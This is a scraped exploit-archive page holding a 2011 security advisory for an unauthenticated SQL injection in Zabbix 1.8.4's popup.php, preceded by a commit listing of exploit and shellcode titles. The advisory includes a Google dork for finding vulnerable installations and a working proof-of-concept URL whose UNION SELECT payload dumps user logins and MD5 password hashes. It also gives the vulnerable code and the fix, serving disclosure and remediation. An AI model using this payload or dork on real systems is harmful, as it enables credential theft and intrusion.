880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
103 lines
No EOL
3.3 KiB
Text
103 lines
No EOL
3.3 KiB
Text
# Exploit Title: Zabbix <= 1.8.4 SQL Injection
|
|
# Google Dork: "Zabbix 1.8.4 Copyright 2001-2010 by SIA Zabbix"
|
|
# Date: November 24th, 2011
|
|
# Author: Marcio Almeida
|
|
# Software Link:
|
|
http://sourceforge.net/projects/zabbix/files/ZABBIX%20Latest%20Stable/1.8.4/zabbix-1.8.4.tar.gz/download
|
|
# Version: <= 1.8.4
|
|
# Tested on: Linux
|
|
|
|
=============================================
|
|
- Release date: November 24th, 2011
|
|
- Discovered by: Marcio Almeida
|
|
- Severity: High
|
|
=============================================
|
|
- Google Dork: "Zabbix 1.8.4 Copyright 2001-2010 by SIA Zabbix"
|
|
=============================================
|
|
|
|
I. VULNERABILITY
|
|
-------------------------
|
|
Zabbix <= 1.8.4 SQL Injection
|
|
|
|
II. BACKGROUND
|
|
-------------------------
|
|
Zabbix is an enterprise-class open source distributed monitoring solution.
|
|
Zabbix is software that monitors numerous parameters of a network and the
|
|
health and integrity of servers. Properly configured, Zabbix can play an
|
|
important role in monitoring IT infrastructure. This is equally true for
|
|
small organisations with a few servers and for large companies with a
|
|
multitude of servers.
|
|
|
|
III. INTRODUCTION
|
|
-------------------------
|
|
Zabbix version 1.8.3 and 1.8.4 has one vulnerability in the popup.php that
|
|
enables an attacker to perform a SQL Injection Attack. No authentication
|
|
required.
|
|
|
|
IV. VULNERABLE CODE
|
|
-------------------------
|
|
|
|
File popup.php line 1513:
|
|
|
|
|
|
$sql = 'SELECT DISTINCT hostid,host '.
|
|
' FROM hosts'.
|
|
' WHERE '.DBin_node('hostid', $nodeid).
|
|
' AND status IN
|
|
('.HOST_STATUS_PROXY_ACTIVE.','.HOST_STATUS_PROXY_PASSIVE.')'.
|
|
' ORDER BY host,hostid';
|
|
$result = DBselect($sql);
|
|
|
|
|
|
V. PROOF OF CONCEPT
|
|
-------------------------
|
|
|
|
Below is a PoC request that retrieves all logins and MD5 password hashes of
|
|
zabbix in MySQL Database:
|
|
|
|
http://localhost/zabbix/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=-1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23
|
|
|
|
|
|
VI. BUSINESS IMPACT
|
|
-------------------------
|
|
An attacker could exploit the vulnerability to retrieve any data from
|
|
databases accessible by zabbix db user.
|
|
In case zabbix has been given a more privileged mysql account the
|
|
exploitation could go as far as code execution.
|
|
|
|
An important remark regards the fact that the version 1.8.4 of zabbix
|
|
web software is the current version installed by the apt-get command
|
|
in debian linux distros.
|
|
|
|
VII. SYSTEMS AFFECTED
|
|
-------------------------
|
|
Versions 1.8.3 and 1.8.4 are vulnerable.
|
|
|
|
VIII. SOLUTION
|
|
-------------------------
|
|
Upgrade to version 1.8.9 that has just come out.
|
|
|
|
IX. REFERENCES
|
|
-------------------------
|
|
http://www.zabbix.com
|
|
https://support.zabbix.com/browse/ZBX-4385
|
|
https://www.securityfocus.com/bid/50803/info
|
|
|
|
X. CREDITS
|
|
-------------------------
|
|
The vulnerability has been discovered by Marcio Almeida
|
|
marcio (at) alligatorteam (dot) org
|
|
@marcioalm
|
|
www.alligatorteam.org
|
|
|
|
XI. ACKNOWLEDGEMENTS
|
|
-------------------------
|
|
To Heyder Andrade for development of Vulture.
|
|
To the Alligator Security Team.
|
|
|
|
XII. LEGAL NOTICES
|
|
-------------------------
|
|
The information contained within this advisory is supplied "as-is" with
|
|
no warranties or guarantees of fitness of use or otherwise. I accept no
|
|
responsibility for any damage caused by the use or misuse of this
|
|
information. |